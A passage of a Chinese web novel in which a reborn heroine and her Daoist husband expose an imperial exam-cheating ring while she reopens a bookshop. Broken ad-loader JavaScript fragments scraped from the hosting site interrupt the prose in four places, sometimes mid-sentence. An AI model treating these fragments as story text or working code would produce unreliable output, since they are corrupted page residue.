夫君二字瞬间击溃了必安的最后一道防线,他意识到叶青漓是真不介意打死他! “我说!我全都说!” 必安终究只是个普通人,叶青漓连打带吓的一套招呼下来,他瞬间湿了裤子,松了口风。 审问的时候,叶青漓退出房间。 这毕竟是白云观的事情,和她其实牵扯不多。 如果非要说有什么关系的话,那就是她很想知道她的好义父到底有没有参与其中? 必安交代得很快,他是什么时候被人找上,谁给了他试题,谁教给他卖供果的办法,以及怎么去找那些有钱嘴还严实的目标客户,林林总总,不过小半个时辰的时间,顾承宴便彻底审问完毕。 说出最后一个人名时,必安心如死灰,他看着一脸恨铁不成钢的顾承宴,忽然冲他笑了笑,眼眶湿润。 “师兄,是我对不住你!抱歉!” 顾承宴面若寒霜,神色冷厉。 “你对不起的不是我,是师父,是白云观,是这么多年和你一起生活的师兄师弟们!” 他眼中划过不忍,“你到底为什么要插手这种事?” 必安被缚着双手倒在地上,一滴泪渐渐从他眼中滑落,瞬间□□涸的地面吞噬。 “我也不知道,大概是为了银子吧!像你这种出身贵族,不愁吃喝的公子哥是不会懂我的感受的。” 顾承宴薄唇紧抿。 “不可理喻!” 审得结果后,顾承宴立刻去见了他的师父,也就是白云观现任观主。 “事情经过就是如此,必安已经全都招了,师父,我们现在该怎么办?” 科举舞弊是大罪! 他们白云观还是舞弊过程中最重要的一环,即便是他们说自己清白,上头那位恐怕也不会答应! 事关重大,必须谨慎处理,才能让白云观及时脱身! 白云观观主闲云道长一甩手中拂尘,低眉沉吟,“福生无量天尊!为今之计只有我们主动交出必安,配合调查,才能勉强躲过祸端!长生,你身份不同于观中师兄弟,由你来揭开此案最为合适,你即刻下山,前往京师衙门上报此事,宜早不宜晚!” “若有需要,只管配合,务必要让白云观从这场风波中脱身!” “是。” 顾承宴转身打算离开,目光忽而被院中等待的叶青漓吸引。 此间天地共白,唯她一抹红,安静立于树下,十分突兀,却又好似与无边天色融为一体,全然不似之前在房内审讯必安时张牙舞爪的模样! 闲云道长注意到顾承宴的目光,也向窗外看去,待看见那名姝丽女子后,忽而清浅一笑。 “那位就是你家里人为你娶的娘子吧?” 顾承宴微顿,“是。” 闲云点头,“若不是她帮忙,我们恐怕到现在都不知道必安的事竟牵扯这么广,更无法及时制定对策,洗清嫌疑。” “她是个好姑娘,长生,你要好好待她!” 顾承宴清隽的面容染上一层淡淡的粉,“我,我们其实不是……” “好了,时间不早了,你快些上路吧,事情没处理完,不必回来。” “是。” 顾承宴出了房门,叶青漓立刻迎上来。 “观主怎么说?” “师父说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让我下山报案。” 叶青漓点头,“是该如此,白云观身处漩涡中心,必须主动出击,方能自保。” 她安静片刻,接着小心问道:“必安交代的人中有没有我义父?” 顾承宴抬眸看向叶青漓,她忙举起双手,“你不用跟我说得多么细致,只需告诉我,我义父是不是其中一员?” 若是真的,那自己就不用费更多心思,只需等着叶修恺自取灭亡! 叶青漓眼中急切之色未加掩饰,顾承宴看着,心下了然。 她曾经说过是叶侍郎认她为义女,她才有了现在的生活,叶侍郎对她有大恩,她担心恩人是人之常情! 幸好……“他不是。” 顾承宴脱口而出的三个字,击溃了叶青漓心中最后一丝期盼。 可恶!叶修恺当官竟然真当得这么好! 看着叶青漓眼底流光破碎,顾承宴蓦地慌了一瞬,补充道:“我没有骗你,师弟说的名单里并不包括叶侍郎的名字,他虽是礼部官员,却一直兢兢业业,从无臭名。” “之前那些只是我的个人猜测,做不得数。” “抱歉!” 叶青漓原十分失落,被顾承宴这般生疏地安慰,撇下去的嘴角忍不住上扬。 “你道歉做什么?你又没有做错。” “让你着急,是我不对。” 顾承宴目光和当初开口和叶青漓和离时一样真诚,她终于忍不住笑出声来,端着姿态冲顾承宴轻轻点头。 “既然你诚心诚意地道歉了,那我就大发慈悲原谅你吧!” 顾承宴也被她如此‘郑重’的原谅逗笑了,两人相视一笑,一切不愉快随着耳际寒风消散。 “回家吧!” 两人一同从山上走下来时,候在马车旁的顾国公府下人们眼睛都看直了。 “你快看,那不是大公子吗!” “好像真是大公子,大公子怎么下山了?” “大少奶奶说要上山看看,不会就是去找大公子了吧?” “应该是,我真是没想到大公子会和大少奶奶一起下山!” “大概这就是成婚之后男人的变化吧!” 几人你看看我,我看看你,呵呵笑起来。 第二日,顾承宴孤身去了京兆府,将必安偷卖供果及之后牵扯出的事情尽数交代,事情瞬间引起京兆尹的高度重视。 他不过沉吟片刻,便带着顾承宴进了宫,将手中证据如数呈交圣上手中。 叶青漓回府后,一心准备书铺的再开业,只是府中不断有人来问她,顾承宴为何下山,一大早又去了何处。 她一开始好声好气地答了,只说自己也不知道,可是后来,赵氏直接派人将她叫过去,明里暗里又是好一番打听,叶青漓终于没了耐心。 “婆母若是想知道,不妨等夫君回来后亲自去问他。” “你这孩子,我不过随便问两句,承宴是个闷葫芦一样的性子,心里想什么,要做什么,从来不跟我们商量,就连这次下山也很是突然,连招呼都不打一声。” 赵氏嘴上带着笑,说得话却叫人笑不起来。 “顾国公府是夫君的家,他回自己的家还要特意和别人打招呼吗?” “你……” 赵氏还要再说,她一早派去顾府门口观察顾承宴动向的下人忽然进来了,“夫人,大公子回来了!” 话音落下,顾承宴便从他身后出现。 他低敛双眸看向叶青漓,脸色是前所未有的沉重。 “出大事了!” 17. 昏倒 “出什么事了?” 顾承宴向来性子稳重,极少有如此失态的情况,赵氏也下意识站起来紧张地望着他。 顾承宴抬眸看了眼赵氏,阴沉的脸上没有一丝笑意,“我日前抄写好的经书不见了!” “经……经书?” 就为了这个? 赵氏脸上的错愕太过明显,隐隐夹杂着几分不屑。 顾承宴清冷的眸子更暗了几分,“那是我抄写许久准备送给师父的,此次下山也是为了寻人装裱,可是一回到家,就不见了!” 顾承宴的目光幽幽落在赵氏身上,只差没说他怀疑是赵氏动了手脚。 赵氏实在想翻个白眼,就一本不值钱的破经书,也值得说上一句大事?这还不如顾承宴突然下山来的事大呢! 她面色缓和几分,施施然坐下,脸上扬起一抹慈爱的微笑,和蔼地看向叶青漓,“哦,原来是这样。青漓,还不快带承宴回去找找?他的经书金贵,府里人不敢随意触碰,定是被他放在某处自己忘记了。” 叶青漓看着面色沉沉的顾承宴,眨了眨眼,“是,儿媳这就带夫君回去找。” 回到蔚莲阁后,叶青漓冲顾承宴丢了一记满意的眼神,“多谢夫君,知道我被婆母盘问便及时回来解救我了!” 府里人一直问顾承宴下山来做什么,她解释半天,都不如顾承宴自己一句找人装裱来得可信。没想到,顾承宴表面冷冷清清的,这种事情上却这么体贴! 顾承宴停步于她面前,表情凝重,未发一言。直到采莲从外面关上房门,屋内仅剩下他们两人,顾承宴面容冷肃,沉声道: “圣上昏倒了!” “什么?!” 叶青漓惊诧不已,好端端的,圣上怎么会昏倒?她看了眼自皇宫回来后就神色异常的顾承宴,试探问道:“是因为白云观一事?” 顾承宴点头。 嘶——! 这下事情可就大了! 叶青漓重生一次,自然知道上一世圣上的身体一直很好,并没有出过大问题,像是顾承宴方才所言的昏倒,更是从未听说。当然也不排除有叶青漓曾经身份太低,接触不到这类消息的可能,但是叶青漓更倾向于,前世科举舞弊一事一直未曾披露,圣上不知道此事,没有动怒,自然不会昏倒。 不对! 叶青漓眼神顿住,在顾承宴身上狐疑地扫了一遍,“圣上都昏倒了,你怎么还能回来?” “太医看过,没多久,圣上又醒了。” “哦。” 叶青漓松了一口气,没犯什么诛九族的大罪就好! “那白云观的事?” “太医说圣上身体沉疴积弊,不宜劳累。” “所以不查了?” “查,不过是交给太子来查!” 叶青漓这才放心地拍拍胸脯,走到桌边给自己倒了杯热茶,“这下好了,案子有人查,等水落石出,白云观就安全了。” 顾承宴看着叶青漓轻松的动作,脸上的冷峻丝毫未减,“礼部尚书是太子的人!” “噗——!” 叶青漓重重呛了一口水,喘不过来气而憋得通红的眼睛死死盯着顾承宴。 谋杀!这是赤裸裸的谋杀! “你就不能一口气说完吗?” 顾承宴不明所以,走到桌边为叶青漓重新倒了一杯茶,“说完了。” 叶青漓:“……” 她默了一瞬,微眯起眼睛,“你怎么知道他是太子的人?” 顾承宴扭过头看了叶青漓一眼,那眼神夹杂着几分不可言说的疑惑,“我出自顾国公府,父亲从前把我当做继承人培养,这些事情自然知晓。” 叶青漓:打扰了! 二人同时静默良久…… 屋外寒风啸啸,雪花狂舞,呼啸的风疯狂拍打着窗牖,听得人心底发闷。室内生着火炉,暖黄火光将空气烤得虚幻,却未有一丝暖意融进二人心底。顾承宴坐在桌旁,烛光照在他清隽侧脸上,忽明忽暗,看不清眼神。火炉内的木炭蓦地炸了一声脆响,轻盈火光飞起,敲醒一室沉寂。 “如果这件事真的是太子所为,你会是什么下场?” 顾承宴迟疑片刻,“若舞弊一事是太子授意,以太子的手段,案子会被彻查,礼部也会有人落马,最终白云观也许会成为那个藏污纳垢之地,彻底消失于京城之中!” 叶青漓心蓦地一沉! “那你打算怎么做?” “配合调查。” “为什么?” 顾承宴肃声道:“只有我参与进调查,先一步找到舞弊一事的幕后之人,白云观才不会被人泼上脏水!” “可那是太子……” “可那是白云观!” 顾承宴眸中执着深深扎在叶青漓心里,她虽不清楚顾承宴和顾国公之前有多大的隔阂,但他与白云观有多深的羁绊自己看得一清二楚。她知道自己多说无用,于是不再开口。 室内再次恢复沉寂,就在叶青漓以为顾承宴再坐会儿就会走的时候,身旁好听的声音再次响起。 “我们和离吧!” 叶青漓:“?” “夫君不是已经答应我……” “那是之前。之前你需要顾国公府为你撑腰,可是现在我要调查科举舞弊一事,恐难安然脱身,你我和离,对你最好。” 顾承宴目光诚恳地看着叶青漓,语气也极为真诚,是真的从叶青漓的角度在为她着想,而不是趁机试探。 叶青漓看着他那双黑白分明的眸子,忽地笑了。笑得放肆,犹如凌冽冬日里开出一朵灿烂的牡丹一样惹眼。 “夫君怎知你一定会出事?” “那是太子……” “可你是夫君啊!” 叶青漓站起身,红唇翕动,“京城人人都道顾国公府大公子叛逆不孝,年纪轻轻上山做了道士。可是我记得五年前,京城人人说得是顾国公府大公子博学多才,颖悟绝伦,一人身可保百年誉,是顾国公府世子的不二之选,不是吗?” 熟悉的夸赞令顾承宴感到陌生,自下定决心进白云观起,他早已不是当年的那个他了。 他哑然半晌,叶青漓继续道:“我相信夫君,一定可以做到的!” “我……” “夫君,天色不早了,你今晚要在我这里休息吗?” 顾承宴还要再说,叶青漓却笑意盈盈地望着他,似乎在期待他能留下来。 顾承宴猛然起身,逃也似地往外走,一边走一边还说,“既然你不愿意,那就算了。天色不早,我先回去了。” 房门大开,凌冽寒风瞬间吹散一室暖意,顾承宴顶着寒风,快步离去。 叶青漓望着他的背影,轻笑出声。 “呆子!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她关上房门,慢慢往回走,打开自己的账本,继续翻看起来。今日耽误了一日,明日怎么着也该开始书铺的重新布置了! 偶尔想起顾承宴认真要与自己和离的眼神时,叶青漓再次发笑。 她倒不是对顾承宴多么情根深种,痴情不改,而是压根就觉得顾国公府不会出事!虽然上一世并没有闹出科举舞弊这件事,可是以她对当今太子处事风格的了解,舞弊一事未必就出自他的手笔! 事实也的确如叶青漓所料,太子主持调查后,直接任命京兆府尹负责全部调查事宜。 顾承宴这个顾国公府大公子,既是案子的揭发者,也是证人的师兄,他主动请缨参与调查,太子也未有不应,反而看在他出自顾国公府的份上,允了许多便利。 顾承宴每日忙着调查线索,揪出背后之人,为白云观洗刷嫌疑,叶青漓则一心忙碌着书铺的事情。 曹掌柜是个好的,得了叶青漓的交代后,第二日就带着人去书铺里大操大办,在叶青漓去巡查庄子前,更是将书铺收拾得焕然一新,‘三甲书铺’的牌子一挂上去,瞬间和从前大不一样! 叶青漓赶到之时,曹掌柜正领着人在摆书,叶青漓上前看了两眼,越看眉头皱得越紧。 “曹掌柜。” “东家。” “你这都是哪找来的书?” 曹掌柜以为叶青漓是要考察他做事的能力,忙把自己这几天的工作进度一一汇报。 “回东家,这些书都是我走访了附近十几家书铺得来的成果,这些是附近书院的学子需要的书,这些是住在附近的富贵人家偶尔会买的书,这一部分是往来过路人会买的。” 曹掌柜的介绍,言之有物,叶青漓却依旧未展欢颜。 “你既然说这是借鉴了其他书铺的卖品,那你说说这些东西,我们有,他们也有,我们‘三甲书铺’还有什么竞争力?而且他们的书铺做了几十年安安稳稳,我们书铺之前却是那副模样,你觉得你是顾客的话,你会优先到哪家书铺买东西?” “这……” 曹掌柜一时被叶青漓问得愣住。 叶青漓没等他想明白,又继续朝前走,将曹掌柜准备的一批笔墨纸砚看了看,眉头皱得更加厉害。 “这些是什么?” 曹掌柜语气没有方才那么自信,依旧细致介绍,“这也是我走访其他书铺得来的经验,有些人为着这些上好的笔墨纸砚来书铺,顺便会买几本书。而且东家之前不是说咱们‘三甲书铺’要纸张一甲,墨水一甲,内容一甲,这都是京城货色不错的墨和纸!” 叶青漓听罢,苦笑着摇了摇头。 “怪我,没有和你讲清楚。我的‘三甲书铺’主要卖的是书,纸张、墨水、内容都指的是所卖书籍,并非这些零碎的笔墨纸砚。” 曹掌柜恍然大悟,而后又面露疑惑,“可是东家,若是咱们这的笔墨纸砚都比别家差,恐怕没有多少人会来买东西。” 叶青漓笑着摇头,“你错了!” “只要你把要售卖的书做到极致,一定会有人趋之若鹜的!” “极致?”曹掌柜更加不解,“一本书还能有多极致?京城的书再精美也不过是那几个样子。” “你又错了!”叶青漓再次摇头,“我说的极致是书的内容,如果咱们书铺的书买回去后就能够科举中榜,你觉得够极致吗?” 18. 失踪 “科举?中榜?” 曹掌柜霎时间瞪大了眼睛,简直不敢相信自己听见了什么。 他小心翼翼往四下看了一眼,确认没有第三个人听见叶青漓的话,才苦着眉头觑了叶青漓一眼,压低了声音,“东家容禀,这世上没有什么书是买了就能科举中榜的,如果有,那……那一定是试题泄露了!这可是杀头的大罪!东家还是别想了!” 曹掌柜满脸惊恐,眼中满是对皇权的敬畏,却还不忘提醒叶青漓。 叶青漓看得直发笑,忍不住摇头,“曹掌柜想到哪里去了?我是个本分的商人,怎么可能有那种东西?我说过我开的是书铺,卖的自然只是书!” 曹掌柜双目上方本就稀疏的眉毛皱得更厉害了,“什么样的书,能让人买了就中榜?若真有,这天下人岂不是人人都要来买?” “没错!我要的就是他们人人都来买!” 叶青漓轻扬嘴角,“你附耳过来,我跟你说,以后咱们书铺……” 曹掌柜听着叶青漓的计划和安排,忍不住在心里盘算书铺的未来,渐渐的他的眉心舒展开来,眼中也迸发出强烈的精光! “好手段!东家,你是怎么想到的?!若东家的计划真的能实现,等到此次春闱过后,咱们书铺的生意定然蒸蒸日上啊!” 叶青漓莞尔一笑,“这不是我一个人想到的,也是结合了许多前辈的法子,用在咱们这家书铺有点大材小用了,不过能赚钱就是好的。” “你既然已经知道我的计划,就把这些杂七杂八的东西都收起来,用心去给咱们书铺挑些好书来。” “是,东家放心,我一定办得妥妥的!” 明确叶青漓的目标后,曹掌柜做起事来就更有目的性。 他先是根据自己科考多年的经验挑选与科举有关的书籍,除了朝廷列举的在科举范围内的四书五经,还有往届科考状元们,如今已是身居高位的官员们的著作,无论是否与科考有关,一律收集起来,装订成册,制成精品。 而后,他又按照叶青漓的吩咐,派人结识远道而来准备参加科考却盘缠用尽的寒门学子,以极低的价格让这些人来书铺抄书,用以换取银子,棉衣或煤炭等他们当下最需要的东西。 有了在三甲书铺换取的银钱或物件,这些学子就不用在生计上多费心思,有更多时间可以复习功课,准备科举。 经过学子们口口相传,三甲书铺这个名不见经传的铺子没几天就在进京赶考的学子们中间传开了。听说只是简单的抄抄书,就能有银子拿,一时间三甲书铺热闹非凡。 甚至人多到铺子里都站不下! 曹掌柜看着这一幕,有些心惊叶青漓的计划这么奏效,而后胸有成竹地将闻询赶来的学子们引至书铺二楼。 二楼上已经摆好了桌椅板凳,笔墨纸砚,火烛油灯,茶水暖炉,一应准备无不周到。 这三甲书铺简直比家里还适合读书! 本只打算白嫖些银子就走的学子们,看见这一幕也停下脚步,不自觉坐到座位上去,待看见店家要他们抄的书上竟写着他们之前从未想到过的论辩之道时,更是大开眼界! 这,这真的只是家书铺吗? 这真的不是科考现场吗? 第一个人迫不及待开始抄写,细细体会其中深意的时候,周围的其他人也跟着动笔。很快,书铺二楼被墨香包裹。 这些学子们只需花少量的银钱租些笔墨纸砚,抄完书就能换到足够他们三天的房租,或是五天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的炭火钱,他们自然乐此不疲。叶青漓当然也不是白送他们银子,每个人抄写的书,离开书铺前都要给铺子里的伙计确认字迹工整,稍微有污了,花了,字迹丑陋达不到标准的,书铺也是一律不收的! 如此几天过去,在书铺抄书的人来了一批又一批,一直留下来的却只有那么几个。 书铺这边有曹掌柜操心,叶青漓自然将心思放在其他地方,比如其他不挣钱的铺子,再比如:顾承宴的案子。 顾承宴每日早出晚归,跟随京兆府尹一起抓捕参与到科举舞弊案中的官员。 由于案子发现在白云观,不是深度参与过舞弊案的官员轻易不会关注这个地方,加上圣上和太子有心隐瞒,所以现在朝堂上知道科举试题泄露的人寥寥无几。 顾国公也不知道顾承宴整日忙的什么,只是对于自己这个嫡长子终于不住在道观里感到欣慰。他以为这一切都是叶青漓的功劳,还通过赵氏的手给叶青漓送了一副头面作为奖赏。 赵氏明明心中气得要死,碍于顾国公的吩咐,还是带着人来到蔚莲阁,扬起一脸笑意,热切与叶青漓讲话,临了送上一副她看得眼睛都发直的头面。 叶青漓淡然接过,送别赵氏,直到人走了,她才拿出那副头面仔细看了一番。 的确做工精致,造型精巧,是个不可多得的玩意,叶青漓挺喜欢的。 她能得这副头面,多少有顾承宴的功劳,所以叶青漓收拾收拾带着人去找顾承宴。 夫君下山这么多天,自己却一次还没找过他,这不符合自己的人设啊! 只是叶青漓还没走到覃竹园,曹掌柜的人就先来顾国公府找上了她。 “东家,不好了!咱们书铺的好多学子突然失踪了!” 19. 官兵 “失踪?他们自己长着双腿,想去哪就去哪,我书铺又不是强留他们抄书,何谈失踪?” 伙计一拍大腿,“这事说来话长!” 按照叶青漓的计划,遑论是为了那笔能够过冬的抄书费,还是为了书中那些他们闻所未闻见所未见的高谈阔论,三甲书铺这些天已经吸引了不少学子。 甚至好几个在曹掌柜面前已经混了个脸熟,只等叶青漓执行她的第二步计划。 可是有一天曹掌柜忽然发现,每日定时定点会出现在三甲书铺的一名学子,竟然一整日都没来?他一边失望于那人迟到,一边又担心那人以后都不会来,为此接连观察三日。 恍然发觉书铺里好几个眼熟的学子都没来了,起初曹掌柜只以为是东家的营销不吸引他们了,失望过后也没说什么,可不对劲的事情接二连三发生: 先是一名学子被一个他声称不认识的家里人从书铺带走,再是一个学子被人按着头带离书铺,脸上表情十分难看,却又什么都不说,最最离谱的是今日一早,一名学子好好抄着书,一个官兵直接进了铺将他抓走了! “官兵抓走了?!” 叶青漓心头猛地一跳。 “是呀!那人被抓走时手里还攥着咱们书铺的书不放,那官兵说要带回去查验一番,连人带书一起抓走了!”伙计说着,重重拍了下大腿,“哎!要我说咱们就是倒霉!” “也不知那学子犯了什么错,竟惹得官爷当众拿人,现在书铺里的其他学子都看见这一幕了,正在猜测之前没来的几个学子是不是这样‘失踪’的。几个人说着,还怪起咱们铺子里的书了,非说是咱们书铺的书有问题,引来官兵调查,正嚷嚷着要东家给赔偿呢!” “赔偿?” 叶青漓挑眉,“我低价租他们笔墨,高价收回他们抄的书,好心好意送他们银子,更是连一文钱的茶水钱,炭火钱都没收,他们好意思找我要赔偿?!” 伙计也是一脸不忿,“正是呢!东家仁义,这些读书人却一个个掉钱眼里,我跟着曹掌柜这么些年还是第一次见到这种读书人!” 叶青漓勾唇一笑,仗义每多屠狗辈,负心最是读书人,这个道理她早就明白! 她那个好义父不就是这句话的真实写照吗? 不过几个想要讹钱的举子,她犯不着怕了他们! “你先回书铺告诉曹掌柜,咱们家书铺的书没有任何问题,京城的官爷也犯不着为了一本书就去抓人,他们自己心里做过什么亏心事自己清楚,和我们三甲书铺无关!让他们该干什么干什么!” 叶青漓眼神一凛,“若再有造谣生事的,即刻赶出书铺,再不欢迎!想要赔偿的,可先随我到京兆府论理,我若输了,自然高价赔偿!” 伙计得了叶青漓的准信,心中最后的担忧也没了,脸上立时绽开一朵菊花般的笑,挺起胸膛向叶青漓打包票,“有东家这句话咱们和曹掌柜就放心了!东家放心,咱们一定守好书铺,不叫那些小人作乱!” 叶青漓这才露出一个会心的微笑,“嗯,这些日子辛苦你们了!” “不辛苦!若不是东家大发慈悲,将我们留下,那浆麻铺关门之时我们一家老小就断了吃食了!东家仁义,我们也是知恩图报的,必不会看着书铺也走了那浆麻铺的老路!” 伙计说罢,连忙退下,着急回去向曹掌柜传消息。 叶青漓脸色却缓缓沉了下来,采莲从旁瞧着,忍不住担忧。 “二小姐,官兵上门抓人,真的不会影响到书铺的生意吗?” 采莲从前是个吃了这顿没下顿的,对于做生意什么的一窍不通,也不懂书铺的经营。可是她知道官兵抓人对于普通老百姓有多大的震慑,更加清楚叶青漓为了这些铺子花费多少心血。 不夸张的说,叶青漓对铺子的关心可比对顾承宴都多! 叶青漓斜倚在桌边,食指轻点额头,“只是简单的抓人自然无所谓,怕就怕……”被抓的人不简单! 她忽然想到什么,坐直身子,“采莲,大公子还在府里吗?” 采莲忙点头,“之前打听过,大公子今日并未出府,咱们就说话这会功夫,想来还在的。” “那就好,带上那副头面,跟我走!” 嫁进顾国公府已经半个月,这是叶青漓第一次来到覃竹园,一路走来确实见到一片竹林。千花百草凋零后,留向纷纷雪里看①,是顾承宴的风格。这里比他在白云观住的地方宽阔些,也空荡些,瞧着没什么生气。 叶青漓思忖着,前方忽然站出来一个面容清秀的小厮,抬手拦在叶青漓身前。 “大少奶奶请留步,大公子今日修行,不见人。” 叶青漓微讶,顾承宴在家中时这么强势的吗?一句修行就能将所有想拜访的人拦下,今日是她,若换了顾国公,这小厮还会是这般态度吗? 一定是了! 他可是敢当面和顾国公叫板的人。 叶青漓莞尔一笑,“你且去通知夫君,就说我来问问他给观主抄写的经书可找到适合的人装裱,若还没有,我这里有一个值得推荐的人。” 小厮竹页一怔,国公爷不喜欢大公子修道,府中人也一向对此事讳莫如深,这还是第一次有人在他面前提及此事,如此光明正大,自然而然。 他飞快看了一眼这个他从没正眼瞧过的大少奶奶,眼神微闪,“大少奶奶请稍等。” 竹页动作飞快,叶青漓还没数清这覃竹园有多少品种的竹子时,他已经走出来,眼中比之前多了几分恭敬。 “大公子请大少奶奶进去说话。” “多谢。” 叶青漓抬步往前,还没走多远,身后再次传来竹页的声音,“大公子只请了大少奶奶一人!” 叶青漓回头看着被他拦住,正有些不服气微微撅着嘴的采莲,伸出手来,“把东西给我,你先找个暖和的地方等着吧。” 采莲瞅了眼竹页,又看了眼叶青漓,这才将东西递出来。 叶青漓带着一盒头面走进顾承宴书房时,第一感觉就是冷!和室外一样冰天雪地的冷!当她把目光投向书桌后方时,瞬间具象化了五年前那位顾国公府大公子。顾承宴气质斐然,狭长双眸落在手中经卷上,疏冷孤傲。有匪君子,如切如磋,如琢如磨,不外如是。 只不过现在他穿着一身道士服。 叶青漓提裙上前,将手中东西放下,转身冲顾承宴露出笑来,“方才被竹页小哥拦下,吓了我一跳,我还以为夫君不愿见我呢!” 顾承宴羽睫微抬,“并不是针对你,只是府中人常来搅扰,我心中厌烦,便下令不许任何人打扰。”话落,顾承宴看了眼叶青漓,补上一句,“我已经吩咐过他,以后不会拦你。” 叶青漓嘴角笑意更深,“竹页遵照夫君命令,是个忠心的,要怪只能怪我来夫君这里来得太少了。” 叶青漓笑望着他,顾承宴敛下双眸,眼睛一眨不眨地移在经书 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上,“你找我可是有什么事?” “自然。”叶青漓将那副头面取出,向顾承宴展示一番,“夫君回来便给我送来这样精美的一副头面,我是特地来感谢夫君的!” 望着那副陌生头面,顾承宴琉璃眸底闪过困惑,“我何时送过你头面?” 叶青漓打趣一笑,“不是夫君送的,是国公爷送的,国公爷见夫君这次下山待了这般久,以为是我的功劳,特地让婆母送来表扬我的。算下来,自然也是夫君送我的,夫君觉得这副头面衬我吗?” 叶青漓作势将那副红宝石镶嵌的牡丹头冠戴在头上,一颦一笑间,宝石微微闪动,闪烁的光芒将叶青漓的脸蛋映衬得更加白皙精致。 “很好看。”顾承宴下意识点头。 叶青漓得了夸奖,尤其是这样美的一个男人的夸奖,笑得像只得逞的小猫一样,眼睛都亮晶晶的。 “多谢夫君夸奖!”她转过身去,一边收起头面,一边说道:“我白得了这么好看的一副头面,自然不能让夫君空手而归,上次听夫君说要找个装裱师傅,可找到了?” 顾承宴捧着经书的手不自觉僵了一瞬,他之前在赵氏面前说要找人装裱经书,只是为了掩饰自己下山的目的,如今叶青漓忽然提起,倒叫他有些不知所措。 他抬头看向叶青漓,女子背对着他收整头面,白皙小手在大红色宝石上摆弄,灵巧又轻快。 “夫君若是一时没找到合适人选,不若听我介绍一个?我近来在经营一家书铺,书铺掌柜在这方面是个能手,我见识过他的手艺,不说到了大师级别,却也是数一数二的。观主久居山野,想来也不在乎那些虚名,夫君不妨试试?” 顾承宴对叶青漓在做的事情有一些了解,那些都是她的嫁妆,也是她自己的私产,他未曾多过问。 如今叶青漓主动提起,又是为了他的师父,顾承宴不好拒绝,握着经书的手摩挲一瞬。 “若不麻烦的话,多谢。” “夫君与我客气什么?”叶青漓语气随意又自然,“不过夫君若是不急,可能得稍等几日,近日书铺出了些事情,掌柜的可有的忙呢!” “什么事?” 叶青漓有些苦恼,“说是书铺里一个抄书的学子叫官兵给抓了,正给书铺的人都瞧见了!听起来吓人的很!掌柜的来问我怎么办,我也不知道该如何是好,正想着要不要关几天铺子呢?” “官兵在书铺当众抓走学子?” “是呀。” 室内默了一瞬,叶青漓听见身后顾承宴冷峻的声音响起,“不过一介学子,想来不是什么大事,不必关铺子。” 叶青漓嘴角弧度轻扬,将最后一颗红宝石耳坠放下,“既然夫君都如此说,那我就放心了,我这就去吩咐曹掌柜好好看店!”她转过身来,一脸庆幸,“幸好有夫君在,否则我可要被这些官兵吓得关门了,不知该损失多少银子!” “夫君送了我头面,又帮我解决了书铺的麻烦,我可得好好感谢夫君。”叶青漓说着,忽地一拍手,“不行,我得早点让曹掌柜空出时间来,可不能耽误了夫君的正经事!” 说罢,叶青漓便拿起头面着急得要离开,顾承宴看着她的动作并未阻止,然而等叶青漓走到门口时,她的脚步忽然顿住,回头冲顾承宴嫣然一笑。 “积雪未化,夫君要记得保暖身子呀!” 顾承宴一怔,经书上的字彻底从眼前消失,待回过神来时,室内唯余一阵清香。 20. 书生围乱 出了覃竹园,叶青漓脸上的浅笑骤然消散。 “采莲,随我去书铺!” “是。” 采莲和叶青漓共乘一辆马车,未从叶青漓的脸上发现丝毫慌乱,忍不住问道:“小姐不担心书铺吗?” 叶青漓摇头,“不用担心。” “为什么?” “自然是因为我已经证实了自己的猜测——被官兵抓走的学子都曾买过科举试题!” “什么?”采莲瞪大双眼,下意识捂住自己的嘴巴,悄悄向外望了眼,确认自己的惊叫没有引起其他人的怀疑,这才放下心来,压低声音,“小姐怎么知道他们……” “临近科举,考生被抓本就是一件新鲜事,如今却接二连三出现在书铺内,很大概率他们都是因为同一个原因被抓,这让我不得不想到白云观上那个叫必安的道士。” 采莲随着叶青漓的讲述,思绪不由得回到那一天。 她本以为小姐救下她们姐弟二人已经是天大的恩德了,万万没想到自己还有能报仇的一日! 当时小姐并未避讳,她听得清清楚楚,那个险些要打死他们的道士,竟然胆大到贩卖科举试题!此事事关重大,采莲清楚必须保密,所以虽然小姐未曾吩咐,她也一直守口如瓶,不曾透露半句,就连弟弟阿桥都不知道! 没想到,那日的事竟然还有后续? “小姐的意思是,那件事已经解决了,所以这些人才会被抓?” “不!”叶青漓摇头,目中情绪复杂,“恰恰是因为此事没有解决,所以才会有官兵当众抓人。” 采莲眉头拧得紧紧的,“小姐,采莲不明白。” 叶青漓扭头看向采莲,神情严肃非常,“如果你是上头那位,发现出了这种事情,你是会广而告之,下令调查抓住幕后之人,还是悄悄按下此事,秘密调查?” “自然是秘密调查,若是这事让所有人知道了,京城不就乱了吗?” 采莲脱口而出,才恍然意识到今日发生在书铺的事情有多么可怕! 圣上悄悄调查科举舞弊一事,如今还没调查出结果,就有官兵开始当众抓人了!他们是已经拿准那几个学子就是幕后之人,还是在通过这种方式给幕后之人通风报信?! 采莲这般想着,后背不觉已经渗出一层冷汗。 “小姐,这事……” “嘘!” 叶青漓食指抵在采莲唇边,“不必多想,该知道的人已经意识到不对了,此事还有转机,咱们慢慢等着就是了。” 采莲小小的脑袋飞速运转,却不敢想这背后到底还隐藏着什么样的秘密,只能艰难咽了口唾沫,“那咱们书铺?” 叶青漓脸上的凝重终于消失,轻轻勾起嘴角,“咱们的书铺只是京城最普通不过的一间书铺,我相信今日的事定然不只在我们书铺发生,不必担忧。” 与此同时,顾国公府内。 “竹页,备车!” 竹页看着脚步飞快的顾承宴,心中觉得奇怪,大公子一向是性子沉稳之人,今日到底发生何事,竟让他如此急切? “大公子要去哪?” “京兆府!” * 马车速度不慢,叶青漓和采莲很快到了三甲书铺。 铺子里的确如伙计所说,生意冷清许多,书铺门口还有几个学子围坐一处,满脸不忿,正与书铺内的伙计对峙着。 叶青漓戴着帷帽走进来,一众学子并未将她放在眼里,直到曹掌柜毕恭毕敬走出来,冲她福了福身子,“东家。” “东家?” 